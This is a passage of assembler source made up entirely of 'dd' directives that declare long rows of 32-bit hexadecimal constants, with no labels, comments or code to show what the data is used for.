dd 1C517C6Fh, 2B3D3F84h, 0F6331047h, 37FF9802h, 0A69D08E8h
dd 0A708F5BEh, 0D6D28805h, 0CEDF6F66h, 230E3932h, 762218Ch
dd 0BC351858h, 2FCBEA15h, 0AC39A839h, 0F66858E3h, 3DA3E223h
dd 7101B037h, 0F9C9BD79h, 8F8A51A9h, 295DF6Bh, 80C4BBACh
dd 5BBB52F7h, 5E34F722h, 7385EEB5h, 76DB6D77h, 12F54560h
dd 1EBAAC8Eh, 5911419Ch, 3FE93CD4h, 0EFC666E2h, 0D84DB12Ch
dd 0F4B582A3h, 54F7E373h, 71BE446Bh, 0A3CB82B8h, 95324F4Eh
dd 0A28DC43Fh, 0F93DEB49h, 4311C537h, 5314BE3Fh, 0CC18F814h
dd 0F2DA1416h, 7A839830h, 0B03F9498h, 7AC014ADh, 0C905150h
dd 0A1152CE6h, 0D102433Eh, 0B597B78Ch, 80E4D3FAh, 0A5C4EAE0h
dd 0A7F8938Dh, 0C1BDB5CFh, 2E4F7C3Eh, 0CA0801D8h, 0BFE3A00Ch
dd 0D26BC5AEh, 0E742DBDBh, 0F6B54ED1h, 9A049E86h, 8E6B31F0h
dd 3E429FCCh, 0C4B92783h, 0A332E412h, 1E55242Fh, 416A30BDh
dd 9D09491Bh, 0AEDFB397h, 0E1BFBE56h, 86A765C8h, 0EB29C25Fh
dd 352091EFh, 6BA1C051h, 0D3DC8296h, 0C5F58CDBh, 0AC236669h
dd 999B46D9h, 0B29D5DA4h, 0AC993894h, 1E068B0Ch, 35B8386Bh
dd 7050CB9h, 12AC5770h, 8AE68ACCh, 692D5FC4h, 0C2C4A903h
dd 8A264984h, 0EA27FA1Dh, 51B60FA9h, 0E856E985h, 0A52B1949h
dd 0A12C5BF1h, 0EE27049Fh, 0CA56F88h, 0CCA170B7h, 0C5A091F4h
dd 0B08F334Fh, 0E69347BBh, 1CA845CEh, 88AB8198h, 3E16D9AAh
dd 96D0EF9Ah, 2CC9915h, 4FCD5FFAh, 7824EAC5h, 9AE408Eh
dd 9D3CAD60h, 41ACBDDFh, 0B7FF565Ch, 0FD450BAEh, 9633E103h
dd 0F9B0297Ch, 0FEFA8BCAh, 87F1DFBFh, 40E4004Bh, 4D7922EBh
dd 799B256Bh, 191ECF4Bh, 0D783B6BAh, 0D7219799h, 8C3F1505h
dd 0B1393BADh, 6DEEFFE1h, 57664553h, 79D712E6h, 95BF1B74h
dd 4463F29Fh, 0BE24BFCCh, 0BC26E4E8h, 9BB74FE6h, 793F46ACh
dd 20C32ECEh, 19525441h, 59228135h, 0DE07CA28h, 0BD632C6Ch
dd 17DA93D6h, 19E88E37h, 0B0FF147h, 0EB6C3C05h, 0AF378920h
dd 18C6AFB9h, 242080Fh, 0C6077A54h, 7AD51D2h, 45ED21BDh
dd 7F2EB688h, 0A5E7CEFAh, 152C439Fh, 9E220883h, 781E8715h
dd 94ECBAD5h, 0E82FEB4Ah, 9FFE2824h, 0C6D4E3D9h, 59A3B4Dh
dd 3EAD0AF0h, 0D94E9238h, 0C833ABC8h, 0C4BD73A6h, 0A1E23641h
dd 0D043A0D1h, 0EB594070h, 0DE5B8B75h, 0BDE4E77Fh, 0D6612BA4h
dd 45DAE357h, 934F8079h, 0D3726856h, 36E911DCh, 0B5AE2346h
dd 0C803ABB3h, 42168B4Ah, 5339CBAAh, 167DDE43h, 2F66F716h
dd 3AAB21A7h, 0C75CB324h, 5177335Ah, 0FDA57D7Eh, 46D85386h
dd 4DBC2362h, 2E672778h, 0A45F4594h, 22BF92D8h, 0AA60136Eh
dd 48F4B525h, 0E4B3F596h, 0B0770402h, 219B9CD0h, 209A78C4h
dd 0DD37994Dh, 0BB870381h, 0B1F8B7F3h, 771FA34Bh, 774927A4h
dd 8A3FCF2h, 0E9F916B4h, 6E3B93h, 5AA5ECA2h, 214CFD71h
dd 0B5D4B00Ch, 537541EDh, 0E1B64FF5h, 6E5636B6h, 0F1D77175h
dd 96ACEC98h, 0EE25290Eh, 0EF28AA5h, 83FA2BA1h, 0AAB86EC5h
dd 0A1AADC1Dh, 118845E5h, 1A2FC5A8h, 1DEA5266h, 7E7BA277h
dd 1190A848h, 0C9390E0h, 755E2084h, 5F2B902h, 2B20F514h
dd 18D0B9A2h, 984F21EFh, 0C51C06EAh, 776AEF7h, 0CADFAC59h
dd 9F7A9943h, 61395EFCh, 46B02B45h, 8B018B9Dh, 0E39419DFh
dd 6DAC1A44h, 46FD03CBh, 766E4EC2h, 0D7676F1Ch, 38F85D3Fh
dd 0D556D77Ch, 0D142099Ch, 628E02B2h, 926D1087h, 6CE31D91h
dd 0E6CE2B7Eh, 0A9379E3Ah, 0FCAA59FBh, 7CFDC164h, 0D06A1F3Bh
dd 3F885F91h, 98214F1Eh, 30D5DFCAh, 7B89A550h, 7FA7F5ECh
dd 8753D29h, 0DFBD0EFFh, 5D7D23A6h, 0C21F11B1h, 4E36061Ah
dd 0E6161E44h, 31EFCF23h, 0A7A978B3h, 0B25A9083h, 86F4D3DCh
dd 0DDD816EDh, 4B65C497h, 0DB09C61Bh, 0BDAF1BABh, 4CEFE58Fh
dd 0CBFD8320h, 4312D26Ah, 3541BC04h, 0DCBB6EE0h, 8C3D1C16h
dd 0E3A2D250h, 0F8BB90D6h, 8781A5A5h, 0FCABDB74h, 94904DDBh
dd 0D83729C4h, 66FCFAE2h, 0C83A40E3h, 222EA758h, 0D4AD7419h
dd 3D3AC3FBh, 4325DA73h, 90F65BEBh, 924A343Fh, 275C2FDDh
dd 428B106h, 2394ABF3h, 5BE6FB0Fh, 0C4BA9656h, 6BA55CC4h
dd 6128B106h, 27308727h, 269AA7E0h, 498D5C2Bh, 152D4DABh
dd 1365C04Ah, 0ACB43175h, 0B19D358Ch, 0CEEB22Ah, 0BABC671Ah
dd 0FE508A78h, 431AF5E6h, 45FFBBE2h, 1A9A847Eh, 5E803D0Dh
dd 3BEB7077h, 8D55CD36h, 98ADE278h, 2CF53213h, 8426B74Ah
dd 0C05D4AC0h, 56025733h, 5F6D6597h, 0DA19CBDCh, 0A508509Ah
dd 5AF31E99h, 0E5125902h, 91487644h, 95C9AE31h, 0EE53B07Ch
dd 849B48E1h, 782C475Ch, 0F7486389h, 2B33431Ch, 1086DEDFh
dd 0D2A0D3B3h, 959A132Dh, 0BC278C04h, 0A77B9909h, 77CB1193h
dd 0C94DDB7Ah, 0BB8AA6E5h, 387E5645h, 5E2C56Dh, 0F25D9CDBh
dd 684C39Ch, 1280C8B4h, 4CFF053Dh, 2BAF350Ah, 65CFC9E8h
dd 0BB8BB179h, 49CB46Ah, 81810FAFh, 0AD96F9F5h, 2F6AFF86h
dd 716F7831h, 0C027B715h, 0F00C970Dh, 0DADC84A4h, 9F08042Ah
dd 166103E1h, 0DE2C7696h, 0BEC38F2Ah, 176D5443h, 0B4113705h
dd 0CAEB2FA4h, 0D9001F54h, 75AF9386h, 14186B68h, 8B354250h
dd 0AC268DF2h, 8FE09156h, 1A388CCEh, 0EC430957h, 41379C77h
dd 164647EEh, 22A8CA67h, 45E0AE8Dh, 3F310FC8h, 84FB2A7Ch
dd 0FE6230F4h, 0A05C2ECBh, 26BC5CFBh, 2B6B6477h, 0BD5D11A9h
dd 2700E312h, 468E9515h, 0D3459FCBh, 2EE7E057h, 0C5936C5Ch
dd 3595BFCBh, 9ECA17DAh, 77EF1A5Ch, 2CDACC05h, 0DA8601CAh
dd 4A8B4DAAh, 195D3E82h, 840F4850h, 5D69BD2h, 0E6F6653h
dd 0B5D574D7h, 0FC4A69FFh, 0DAEA47CFh, 625EA387h, 831F811h
dd 80ED3F7Ah, 5B3B6FDAh, 8645280Ah, 9103BE88h, 0A06622F3h
dd 0BCDCBF78h, 0E31B211Fh, 6E98B0BEh, 48CFDDADh, 27B0F9EBh
dd 934C82CAh, 95F55D0Eh, 0BCFA3377h, 7133EF91h, 0FB9BA6C3h
dd 2841F5B3h, 2FA0FA29h, 0DB6741h, 5A6C4C8Fh, 6B7117F6h
dd 0C2E2C190h, 0F1B2A126h, 4B402772h, 99A79522h, 6B2A4E70h
dd 0E31C71D5h, 9CFA4DECh
dd 9A9CA7EFh, 0B3064B81h, 6F2FA402h, 0F5B28047h, 1C48512Ah
dd 7AF2B856h, 0D1EB4AFCh, 0F8588710h, 8A066A90h, 0C17AFD87h
dd 91D57C48h, 0E10B5909h, 0FF89DDAh, 6DB8585Bh, 895BE716h
dd 0FC1C9969h, 46CEEC6Fh, 3446DE39h, 72D20610h, 0F3667ECCh
dd 0B0CEDB9Ch, 85798402h, 5CB89131h, 0DC44240Eh, 2B842795h
dd 2E8244D5h, 4F4A849Ah, 5852F075h, 0DA3C58EEh, 0A50B6466h
dd 21C9AD06h, 0B6D0785Eh, 104D0711h, 0C35E75A5h, 0B75CF11h
dd 0B61B0A4Fh, 0FF9FB8FCh, 266229CEh, 3E4C38E1h, 29AD0AA9h
dd 0A14D8D1Bh, 37A91A53h, 0CC835270h, 0E84BB276h, 247DBFD2h
dd 32622C01h, 0C930A35Dh, 1690B809h, 0D3FB9E61h, 0D740D3FFh
dd 0F33F24CAh, 37F4C5B0h, 40464A1Ch, 0B9953DA8h, 0E205C2FDh
dd 0CF74ADDCh, 2686EA8Ah, 0BD2F83B6h, 62CA490Bh, 690084A4h
dd 0C4FAE5DCh, 0F4DC694Fh, 0AA767B20h, 5B68A3C4h, 123F75F8h
dd 0BD65DDFFh, 632A98F6h, 3879356Ah, 12381EF1h, 0E2678CE7h
dd 0E4B13B93h, 3907732Eh, 0E3A843C5h, 7C801822h, 2A087E98h
dd 326758D0h, 0E0B3FDABh, 0D71DF0B0h, 0E4030A16h, 0DD1BEB8h
dd 22D3C9AEh, 7A45137Ch, 0E3F8C773h, 0C1709900h, 0E9D34863h
dd 8E750043h, 82BA16D3h, 84312275h, 55085E68h, 0A9E80696h
dd 8C1C94E7h, 16654E34h, 3F8E5C4Ah, 0BC5286FBh, 17DA9526h
dd 407E8AE6h, 0A3744D9Fh, 0BF913DA2h, 0F5F3F024h, 0B1902F05h
dd 363EA680h, 0E78B80EEh, 86454FCEh, 127132C1h, 6679DBE1h
dd 786B5894h, 0FC97B050h, 0CD812280h, 0BC1E1899h, 0DD402DC4h
dd 6953AD45h, 0BA9F741Bh, 0F2A3F0E7h, 91DA8B9Ch, 0BD974B4Dh
dd 22C4AE8Ch, 93BDB243h, 1A1C99E6h, 170703C2h, 2274CF64h
dd 0B4CB2A50h, 0C47D1204h, 2D5F7C79h, 5FE7DC4h, 912AF330h
dd 3276BAE4h, 24591620h, 7A45D8E5h, 0F96430E6h, 0BEE20142h
dd 4C44D245h, 0E7705737h, 72693Fh, 0D64446h, 8C47621Ch
dd 0D687FE30h, 0C34D8E66h, 0E5656DFEh, 59D75136h, 504FD326h
dd 0EFF901ADh, 0EC4D5377h, 0B7B6F056h, 300C121Ah, 0C4A815F2h
dd 0C24E3D47h, 0BC374A92h, 5AE826D8h, 28992648h, 0CD37DA25h
dd 0F62AF390h, 28005F16h, 0ECEAD10Dh, 0B3CCD5B4h, 4418104Eh
dd 0B637C751h, 113CDBADh, 0DF6F1971h, 0E4AB65A9h, 2827BCE7h
dd 3E72E1F8h, 0E5C965AEh, 5BB265BDh, 89FC8050h, 16AB17D6h
dd 0F1B29772h, 525999Ch, 99736EEFh, 7F4FBCD4h, 0E3C4C750h
dd 3C031AEDh, 0EEEAFAF8h, 0F5FB1A83h, 93CB5EE3h, 2FD22C5Ch
dd 121C7FFh, 23C4FEEEh, 1B5616EBh, 2664A748h, 0EE5197CDh
dd 5AABC73Ah, 3E2234D7h, 5F783249h, 0A4EBC522h, 4F1FBB83h
dd 0CFB03946h, 424BC44Ch, 0CF6D6C56h, 5E0E201Dh, 0B156515Eh
dd 0E4B6061Eh, 0C73EDDA0h, 7A0942B9h, 0EA58A7D5h, 3C58193Dh
dd 2393C665h, 586F2921h, 340A2F4h, 6947EF60h, 4F81F83Ch
dd 0AD42D728h, 74F616EAh, 0A0449B61h, 1E9BEF04h, 0A910C5DCh
dd 0FFDF2F82h, 29BF799Ah, 0FC51E83Ch, 248B3C45h, 307B0F46h
dd 6BA8796h, 14DB330h, 0FCFC5F2h, 0A437FD7h, 9476A07Ch
dd 85606E4Eh, 0D0DB6805h, 0A43F31CAh, 6BCFBBCAh, 1A369D60h
dd 2D6EB6F9h, 342925FAh, 2ED8546Dh, 65602014h, 0E8199288h
dd 38743AEh, 880A5BA6h, 274C1276h, 0CA40EDBAh, 3E0E43E7h
dd 74F4D695h, 35B4B5AEh, 1A3EAFA3h, 2C321DE2h, 9B9A5A7Eh
dd 0E2BA88F1h, 0EBB1BA98h, 91A27FECh, 9EBB68CAh, 0C01E740Dh
dd 6C2CD1A3h, 11B653D2h, 0F1542457h, 6D965EF0h, 7B9BC213h
dd 0CB24A54h, 273EAB74h, 0A14BEBB3h, 83379BEDh, 0FD76CD06h
dd 2EB9CD74h, 96BB64FAh, 24CC2124h, 0A53E4B93h, 21EF1F7Ah
dd 0A7DE693Bh, 0D2F66FA7h, 0B6528E5Bh, 97030923h, 0E015C9Dh
dd 0F23B450Ch, 0ED186496h, 0F6A51F68h, 0DF3F98CEh, 8FEE0376h
dd 0FAE1C29Ch, 1FBD311Ch, 10799CD5h, 0CB381A09h, 535F0DAEh
dd 3883BE06h, 0BDE6E768h, 969B2364h, 833131F4h, 0CABA127h
dd 0DEC641DAh, 332815EFh, 7C1A23B8h, 67FE7EB3h, 0BFE29EA2h
dd 572A58C1h, 66262368h, 0F64C4B80h, 0C7D6770h, 0D62EF999h
dd 1456480h, 0A1DDD497h, 0E1F272CEh, 0F6D561A5h, 23C3BA12h
dd 0D8A01EE9h, 927FBA14h, 116AD1BCh, 0D2DACC6Dh, 8A38057Fh
dd 656D30C1h, 86B18D77h, 0D1BB15ACh, 0F5D89A66h, 3D6CB2D8h
dd 7AB2919Dh, 0FE81F1F3h, 0A0CA604Ch, 0F9BBDE31h, 56323E50h
dd 0A974F709h, 30373BF9h, 2F21A6F6h, 0C0584352h, 0AFBCD959h
dd 9294ACC0h, 1B90FEC7h, 0C79D6C0Ah, 0E1E1C695h, 0C9B99522h
dd 1B1CB98Fh, 36B47FBDh, 24B54B5Bh, 88E84C0Dh, 0E02A2A83h
dd 749E9699h, 3A4837A6h, 4B5D09AEh, 2E2F255Eh, 818BAD03h
dd 28BBF689h, 389A1BF7h, 790A67D9h, 0F7C8D51Fh, 0A42BE5E9h
dd 150DFBFCh, 585028D0h, 0E3887632h, 4F562404h, 0FAD19BF6h
dd 0AD066A2Ah, 0D31525F7h, 66A349ECh, 0BEF6253h, 39B23FE3h
dd 8FCA0059h, 33F5CDEAh, 7E743449h, 51D51AA6h, 8B03F88Eh
dd 0E02D35F9h, 3B906090h, 0D41BCCFBh, 67556CAEh, 10FCED85h
dd 0DB34CBE4h, 319C8EF2h, 0D67D14ECh, 9B37E04Eh, 887A2003h
dd 2A0A0C4h, 0EEAC7880h, 826C0B56h, 38844711h, 5EE70C29h
dd 690FF96Ch, 6B42BF69h, 0BB8A7C1Dh, 6287F0F9h, 58125280h
dd 75DA0B87h, 0F8B8B4F3h, 1AF9CCFCh, 822135D3h, 52212A5Ah
dd 8405CC22h, 9DC96BF6h, 286F516Ch, 897EC9A7h, 0A00FC614h
dd 0A544FECBh, 0BF93A92Eh, 7B1952EDh, 0C9A7FEADh, 27F8C853h
dd 4CC8C6D9h, 0D279CC3Bh, 19E02A5Dh, 13DBD497h, 0F313A91Bh
dd 7882DD2Eh, 68D155E6h, 4B57AF15h, 0B61867D6h, 0A64C5F9h
dd 7EFB285Bh, 0BEF942BDh, 0F277745Ah, 0CE1E031Ch, 7AF57245h
dd 0FB9E5608h, 875EFE1Ah, 0CB308FB6h, 0CD6BB219h, 0A5C26FA2h
dd 16BFBBh, 0F4716883h, 4233751Eh, 0DB2FAAE4h, 5B66ED31h
dd 0A648BE16h, 75CA4EC8h, 2FA7E47Bh, 38B7CD87h, 6D001C17h
dd 49BF0659h, 452BDF28h, 0ADC91369h, 0BBBE6035h, 0FB93867Ch
dd 2FE79293h, 0C644D7AFh, 1B41F41Ah, 6E6C10A3h, 7DE0B37Eh
dd 0C22218BBh, 8A28C96Eh, 66348000h, 657136ECh, 0EF9ED234h
dd 4AAAC535h, 0AA342C71h, 4D981E72h, 27A605EEh, 0D6C2403Dh
dd 2598EDEDh, 8BDB1FA4h, 0D5D131A7h, 9CFEB825h, 209D4A7Ch
dd 653F9DA2h, 82E4D23h, 6B7C3660h, 0DFF36957h, 0F2343F1Ah
dd 1EC15BADh, 1661B49Fh, 97AEB461h, 0C9344F4Ch, 5F68EC45h
dd 0F97A11D1h, 0A28D09C3h, 94FF55A2h, 109C38FCh, 6B354B1Dh
dd 0F91EA029h, 0A5720B27h, 0F1194526h, 532962EAh, 253F9B07h
dd 0C83BA71Fh, 19BD6751h, 1B30EE94h, 31AAB972h, 0F1C108C3h
dd 0DB8320F7h, 0A41F819Fh, 0E6A45BC6h, 0F0E5011Bh, 921E3067h
dd 0AD2FC702h, 5C22AE8Ch, 0AC2F5C9Dh, 24D2068Bh, 20FBFE1Fh
dd 0A9B68B25h, 6E12AFC7h, 51ED4589h, 157038EEh, 91F9AAD3h
dd 0F8890222h, 0F5B32DD5h, 428E6FE0h, 72EFE0D2h, 457CE99Ah
dd 0F108C70Ch, 0B9EF648Fh, 0FC81CE74h, 0A76221F6h, 4431C325h
dd 84CF5B16h, 6614E509h, 824515FCh, 25D28483h, 0BE3E55D1h
dd 3FBC2368h, 2A334993h, 0DAE05ACAh, 0EF69BF79h, 7FE12B45h
dd 19A7A696h, 4C285F71h, 5973CB98h, 0E03230D1h, 259BF08Fh
dd 6608F6B8h, 0E0C55456h, 0A3AD0351h, 7ACBD974h, 0CDA5E11Dh
dd 4BF190FAh, 0D9AF54ABh, 524F4381h, 0C8A3309h, 0FE0DC66Ah
dd 0A8F3CB48h, 0EA550B1Bh
dd 24A281B6h, 0AFE03429h, 92643B8Fh, 0B396DD97h, 4E98796Dh
dd 476FD059h, 0EB0E8F17h, 5F06ED7Dh, 0C2EF56E5h, 55775648h
dd 2DA9DF2Bh, 86D0BA90h, 810BF833h, 8E59AED1h, 7380BCFBh
dd 796CA18Fh, 262FFAA9h, 0DDFD5848h, 27E981FEh, 2B9B86Eh
dd 0B48272F6h, 6356E8AFh, 9E952AD6h, 32CCE3AAh, 6F9E3E10h
dd 0EDFDDF13h, 0BD799917h, 16E03C5Ah, 0A9183565h, 51AF0B49h
dd 408E18BFh, 20F57C0Fh, 26C46ACEh, 0B4C0F121h, 63D7DE4h
dd 1F75A7B4h, 0D00714A8h, 7ADFD32h, 0B43C80F6h, 0BEFCA8E1h
dd 4E42AFAAh, 17CA7AB5h, 0BAF200E1h, 6D06C56Eh, 7F0827F0h
dd 2D80C6Ch, 3BC43B05h, 9B072A42h, 5865AEF5h, 0D35ECC78h
dd 0C0E338FDh, 0AEDB161Dh, 83C903h, 0CE8D9ACDh, 0BEC46E5Ch
dd 8639B203h, 0AB23950Eh, 49B134A4h, 21EC3A6Ah, 0DA560643h
dd 0D40E01D5h, 0D6EF1820h, 94A7A9Bh, 120B9CB6h, 7DED7BA6h
dd 4F100BC3h, 926E6EE5h, 1645D563h, 6A2D712Bh, 5220FC8h
dd 0F6C5BC75h, 0B5B3B7F4h, 0E8213244h, 81840F55h, 4EEC283Dh
dd 0EA27105Fh, 85765A37h, 0BEBC357Eh, 0B4904190h, 64028D8Fh
dd 0AB58C160h, 7DF549D4h, 2F08628Fh, 88CA7BEBh, 0B682A5C2h
dd 0EA00FDCBh, 0B2CB1EAh, 0A1490AEBh, 0BFACE00Fh, 201242D9h
dd 8098BF18h, 608B49Ch, 0D464E1EAh, 0C395BEA5h, 0DB5283A2h
dd 0BC695B49h, 67FD7056h, 1EBB81A9h, 0BA628079h, 4F4008ABh
dd 160354D4h, 90F8295Eh, 1F1302DFh, 77400A00h, 3B818818h
dd 3236A219h, 14EDAE11h, 9D8C4633h, 41FF9DF2h, 4B5881E3h
dd 0D2D3B6FFh, 0A1093DB3h, 0DEE85B91h, 4DE2E5F1h, 6730B2C6h
dd 5CF787ACh, 1EF10D36h, 2F0BB7A1h, 6912DB2Fh, 0C191D7F6h
dd 0B47E6B20h, 340E1BE2h, 3D6A6664h, 0C1F26DC8h, 996F5376h
dd 0EAAC00D1h, 0A8680596h, 541FE145h, 652A7F5Bh, 8F03A2DFh
dd 0AD5D05C2h, 3CAD271Bh, 1E3AD6B3h, 0DD83E734h, 0ED97BE9Eh
dd 3356AFC6h, 41A359F8h, 0A877C3DFh, 781FABB2h, 0E13C082h
dd 69638290h, 55DB3F75h, 7AF28AFFh, 8B39785Ch, 0F830F6E8h
dd 87EEFAC6h, 5510478Ch, 29EF66C1h, 22E84A88h, 0ACBB4D8Bh
dd 8E7C5374h, 3A3E3DF4h, 103197DBh, 35C707FEh, 5791044Fh
dd 0E3EF2947h, 5E068013h, 9E49E102h, 0E18113DEh, 946DD9E6h
dd 0B8E32964h, 7D6F2F32h, 7D220B3Bh, 99C63108h, 2BCF7AD3h
dd 36BA8F37h, 21D28935h, 0C4394713h, 0E7F3A148h, 0D44E47C0h
dd 685F7645h, 0D4B11DC7h, 0C56D9CE8h, 0F5E510C5h, 0B1150C0Dh
dd 918010E1h, 0C3D03EB4h, 928A66E5h, 6DCC37A6h, 0F5C3EA18h
dd 0CCB4F960h, 96D5B883h, 30C8BE01h, 2E0BFE7Ch, 0BE38CA8Bh
dd 63C3D35Fh, 2D089D58h, 4F13CE65h, 8413EDA9h, 90EA615Dh
dd 0EDF3B90Bh, 2272E278h, 0D5931DB7h, 0D98975B6h, 33C25F86h
dd 0CAF9D50Eh, 0FBEF0805h, 0DC2012Ch, 0ABE7B48Dh, 0DC150998h
dd 0BF37CA4h, 59295B58h, 72946E6Dh, 20DFD436h, 0D2763BC4h
dd 6839C4F8h, 0FDD1B55Bh, 70BB3359h, 4E64251Fh, 0E8B66A7h
dd 0FC0F5866h, 694D6982h, 8017FAD4h, 0B30027h, 7CB170D3h
dd 0D8911699h, 90930277h, 51600736h, 0C60C9930h, 12983CD2h
dd 0B54291DBh, 0F0305BFCh, 0D444FA4Eh, 23D0F2B0h, 3795C455h
dd 6CB2589Ch, 716A5EB2h, 97B3F4BAh, 3084830Eh, 5975DF45h
dd 49290CFCh, 0FE16D87h, 0AE8E9272h, 23190AEh, 0D8538656h
dd 0A766E0B5h, 728A7E7Bh, 0E629765Fh, 0BA6A21CDh, 4F31B5F1h
dd 70B18540h, 0FBD5FFE0h, 0DDDEE5AAh, 7DC28D56h, 84C2A553h
dd 1147B64Dh, 679B2D97h, 7C489BBCh, 54E491C3h, 2169BD8Eh
dd 0E52B79C6h, 285A2CD6h, 5C3D91ABh, 36BAD607h, 166444CBh
dd 15770A66h, 0BE93F9A2h, 3279564Ah, 0D817562Dh, 0EE0724DBh
dd 4B7D3445h, 43A58651h, 2F8C5C58h, 69162DE1h, 0BE5FF860h
dd 7F793F9Bh, 0ADE056C5h, 1827A2E7h, 15EBC22Eh, 20C3CC48h
dd 0C84C9AE4h, 345C58EDh, 0A558BC62h, 0D73DFE81h, 0DD8E754Ch
dd 438EC404h, 8CD5F689h, 0A0C3F78h, 4B693C65h, 0F86BD31Bh
dd 0FF7DBB15h, 0EFFDE3D1h, 95443767h, 69EC2E8Bh, 627FD438h
dd 2E9F3D79h, 425B4694h, 7A43F9C4h, 0D527A28Fh, 5019A893h
dd 0E4CCDB1Eh, 0C08A0A3h, 9DD95D61h, 0A12C25AEh, 535688BEh
dd 0D1975CF8h, 0F3A927E4h, 88880397h, 2054A864h, 26F94553h
dd 224A5D1Fh, 11C6A5AAh, 58BB8F47h, 9A4270FBh, 0F115DB43h
dd 3D53C35Ah, 85A2DFD7h, 789F74DFh, 4D110AFEh, 67F62939h
dd 1539C1D3h, 0D046A013h, 5A7CFB1Ch, 107D22E4h, 0AA07D357h
dd 5AADF38Bh, 0A4DB5A3Fh, 6A545658h, 6CA69E5h, 0D1ED5A2Ch
dd 0B28423FEh, 74592C00h, 0ACD84EC8h, 3A124593h, 0C643D5B7h
dd 6ED312C1h, 770B65A0h, 25BFE78Dh, 0B7DDC867h, 0DC11B53Eh
dd 5FC23921h, 69367CDDh, 0EB5F6E31h, 8717AD3Ch, 0E795B687h
dd 6013A751h, 0C8FC1ACh, 237043BEh, 0AB73E887h, 8D0C7A83h
dd 474E7419h, 0AB982761h, 3CACD0B8h, 0E92F82DEh, 0D510B660h
dd 0B4BF2FCEh, 0DA880640h, 0B75B023Bh, 5AFD41C2h, 255B00C8h
dd 0E3742660h, 27FF7B75h, 0C1FC79AAh, 2C6476FEh, 0F83B15E4h
dd 9206A1DAh, 66767CCEh, 4A98265Eh, 62150D74h, 0D396F453h
dd 63C4F591h, 57E1E101h, 0CA307CD7h, 0A3ED8911h, 0FD0ED249h
dd 45CF37B9h, 0E1964D24h, 0FD4FA140h, 46C7EF90h, 0DFBECC06h
dd 7F1D076Eh, 0D0038C38h, 0E5D2C321h, 11588BBDh, 8D2F9E57h
dd 0E922E27Dh, 880A957Fh, 609CC9B0h, 715D2531h, 8D8FD59Ah
dd 0C200A5ECh, 24A73422h, 33AAC228h, 153E2E36h, 0B6DE3FB0h
dd 73D53B11h, 3E07018h, 4B75EB96h, 0D66AC6C5h, 816E80CFh
dd 4C70D0ABh, 0D61CF344h, 89430DA8h, 293EB556h, 75AA223h
dd 0F926C9D3h, 0E6467E62h, 8D8376D3h, 9C335436h, 0E2B859BDh
dd 6E80C3EFh, 0C32D7357h, 3EA79F3h, 4059E42Dh, 9C4C923Ch
dd 3145B281h, 0E7338F92h, 47B42E07h, 21A7ADC9h, 0F8F3B7D3h
dd 0D606EB76h, 32E0A61Eh, 0B83EC218h, 80741AF0h, 791E1E77h
dd 0EB46A843h, 5BFE1F3h, 980AC71Dh, 7A2EEDBEh, 0B6D6C96Bh
dd 2365387Eh, 0B6D79326h, 0DA159836h, 0C8A94376h, 708E174Dh
dd 0F14460F8h, 13BAFA68h, 9782AD78h, 0C55F1E3Dh, 0EC33FA63h
dd 0EE932F34h, 66429BD7h, 0EF1491E1h, 0A0DCED5Ah, 0BF642A7Eh
dd 34FA8515h, 34F8D49Bh, 0AF58D9DEh, 7083DFDFh, 93B71511h
dd 2D518798h, 5FCC01BDh, 8EA35934h, 2A26B4h, 54E9483Bh
dd 7633EAB4h, 0DB7F637Bh, 332BA167h, 8286C5F8h, 423F75CBh
dd 81F51A46h, 3AAEEB30h, 0FB70EA5Bh, 0EF4BDAEEh, 0AB70CB55h
dd 0A4244C32h, 0C0C664DCh, 0BD8A7EF9h, 0EF2BDE4Ch, 0F64D353Eh
dd 0F5526839h, 0D370981Ch, 8B050306h, 34F14252h, 0E26C4DEh
dd 2CAF44CCh, 455B5C80h, 793F1471h, 0CF94AF7Dh, 0BBC5DFB1h
dd 7849E76Ch, 13C70A7Eh, 9E58D8F0h, 4F180257h, 0AEDFBD02h
dd 0DADE8F70h, 68C0A0E8h, 0F74D543Ch, 193AFB3Ch, 0E1CC5E33h
dd 956F29FDh, 777455AEh, 11C7779Ah, 7334E599h, 0D3230CFDh
dd 0E5312B17h, 1BA392B9h, 9A17D7F4h, 0DC6DB708h, 0DEF177A7h
dd 0E69982D0h, 247567B4h, 606A89BCh, 682E6937h, 0CE7EE6E1h
dd 0D37CC985h, 0E4C73364h, 2BA441C0h, 889D93A4h, 0FA57E12h
dd 4D2E0124h, 0F97D5E04h, 8B4CAFE9h, 4FC36AF6h, 0F4907EECh
dd 0D32BB040h, 36BEDE95h, 895BD9A4h, 0A3571F5Bh, 6C69FBCEh
dd 5CCEFF5Ah, 248BF01Fh
dd 0CDBBCD07h, 63260FD7h, 97726EB8h, 0A122033Dh, 83AA78DCh
dd 9FF2F2D5h, 0F9F7715Dh, 58173832h, 72F51B43h, 0E68E7617h
dd 579F158Eh, 34DEB9F0h, 0B29CE379h, 0AA17A83Eh, 0ECF12AF1h
dd 0BFA0B01Bh, 57079AFh, 54BFF7CAh, 5870EB5Ch, 77D41B8Dh
dd 6DE12AD3h, 70E9AF84h, 0F970BA7Fh, 0A7585B03h, 0E9A95557h
dd 0DC620BF6h, 2D7B71EAh, 30D36817h, 0BF34355Ch, 0F329DCFEh
dd 0B1231B64h, 9E6AD442h, 0C5770AE8h, 7CA5C0EDh, 0C67CFC34h
dd 33DDE814h, 0FA6D4430h, 0E4821796h, 0F5EBFC2h, 8DB7E86Bh
dd 24AC64F5h, 0F945136Ch, 594B934Fh, 0F009C4D6h, 5FA129A8h
dd 0F1B8950Eh, 0F3B756E7h, 0EBD703B1h, 0F294B78Fh, 0F471E9A4h
dd 771AEB46h, 0DB2F50C1h, 0DA15D221h, 0F7FCD46h, 7D1AD37Dh
dd 990470AAh, 0D794DD77h, 5B4995A6h, 0E8202698h, 1995E3BEh
dd 3FDE9176h, 846EF578h, 0D4EE0687h, 4082AB17h, 57886A82h
dd 0B1E489ACh, 99690EEDh, 0DCE1EB3h, 0B2C2ECB5h, 47448CDAh
dd 0D940F38Dh, 8288716h, 0B687A0A3h, 0C7CC43BCh, 0BEBF7D2Bh
dd 8AEAB463h, 0BF5B1374h, 0BCFAEB04h, 96D2771h, 0DF3A5CFBh
dd 44E48447h, 0DEE06FB0h, 7AC41EABh, 6DD1222Bh, 23B6DFCAh
dd 0E8C03644h, 0E39263B5h, 8EAF0EBBh, 40CF6CD1h, 59F383D7h
dd 7F6F7B69h, 78A1E4Bh, 9C622715h, 61C91827h, 4B38A35Eh
dd 0F26FA12Ah, 4C91CD0Ch, 0C1E9EFA3h, 14246CEAh, 0B58EF01Bh
